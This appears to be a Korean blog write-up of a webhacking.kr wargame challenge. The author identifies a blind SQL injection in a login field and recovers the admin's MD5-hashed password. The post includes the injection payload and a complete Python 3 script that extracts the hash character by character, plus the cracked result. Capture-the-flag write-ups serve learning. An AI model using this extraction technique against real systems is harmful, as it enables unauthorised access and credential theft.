첫 화면은 아이디와 비밀번호를 칠수 있고
join과 login 버튼이 있다.
aaa/aaa로 처 넣고 join을 눌렀더니
Done이라고 뜬다.
아마 가입된것 같다.
aaa/aaa로 로그인 해보니
user key는 암호화 된 것 같다.
그래서
암호화 된것을 여러 암호에 encoding해보니
md5암호가 길이가 유지되면서 암호문만 변경이 되었다.
그래서 md5로 decoding해보니
aaazombie라고 나온다!
아마 pw뒤에 zombie를 넣고 암호화 하나보다.
그래서 admin으로 가입을 해보니
이미 가입되어 있다고 한다!
그래서 혹시나 해서 username에 true값으로 sql injection을 해보니
wrong password!
false값으로 injection을 해 보니
wrong!만 뜬다.
취약점을 찾았다.
우선 pw의 길이를 알기위해
길이로 값을 계속 돌려보니
pw의 길이는 32로 나온다.
blind sql injection 문제이다.
보통 나는 blind sql injection문제는 소스를 구해보거나
찾아서 고치는데
인터넷 소스는 일단 전부 python2버전으로 되어 있는 것 같고
또 안돌아갔다......
파이썬을 모르지 않지만 웹으로 주고 받는것은 안해봐서
한참을 찾아도 안나와
결국 내가 짰다...
python3버전으로 짰고 spyder로 작업했다.
import urllib.request
import http.client
import re
import requests
if __name__=="__main__":
pw =""
md5 = [num for num in range(48,58)]+[num for num in range(97,104)]
for i in range(1,33):
for j in md5:
data = {"uuid":"admin' and ord(substr(pw,"+str(i)+",1))="+str(j)+"#"}
data = urllib.parse.urlencode(data)
header = {"Content-type":"application/x-www-form-urlencoded","Accept": "text/plain","Cookie":"PHPSESSID=당신의 쿠키를 쓰시오"}
connection = http.client.HTTPConnection("webhacking.kr")
connection.request("POST","/challenge/bonus/bonus-2/index.php",data,header)
response = connection.getresponse()
read = response.read()
read =read.decode('utf-8')
find = re.findall("Wrong password!",read)
if find:
print(chr(j),end='')
break
내가 webhacking.kr문제를 풀면서
가장 짜증나고 오래걸린 문제였다.
이렇게 하면 짜자잔!
암호가 나오네?
암호 해독해 버리기~!!!
rainbowzombie가 나와 버리기~~!!!
admin을
방금 얻은 비밀번호로 로그인 해 주면
짜자잔~!!풀려버린다!!
'WebHacking > Webhacking.kr' 카테고리의 다른 글
Webhacking.kr 61번 (0) | 2018.01.12 |
---|---|
Webhacking.kr 46번 (0) | 2018.01.12 |
Webhacking.kr 7번 (0) | 2018.01.11 |
Webhacking.kr 8번 (0) | 2018.01.10 |
Webhacking.kr 11번 (0) | 2018.01.09 |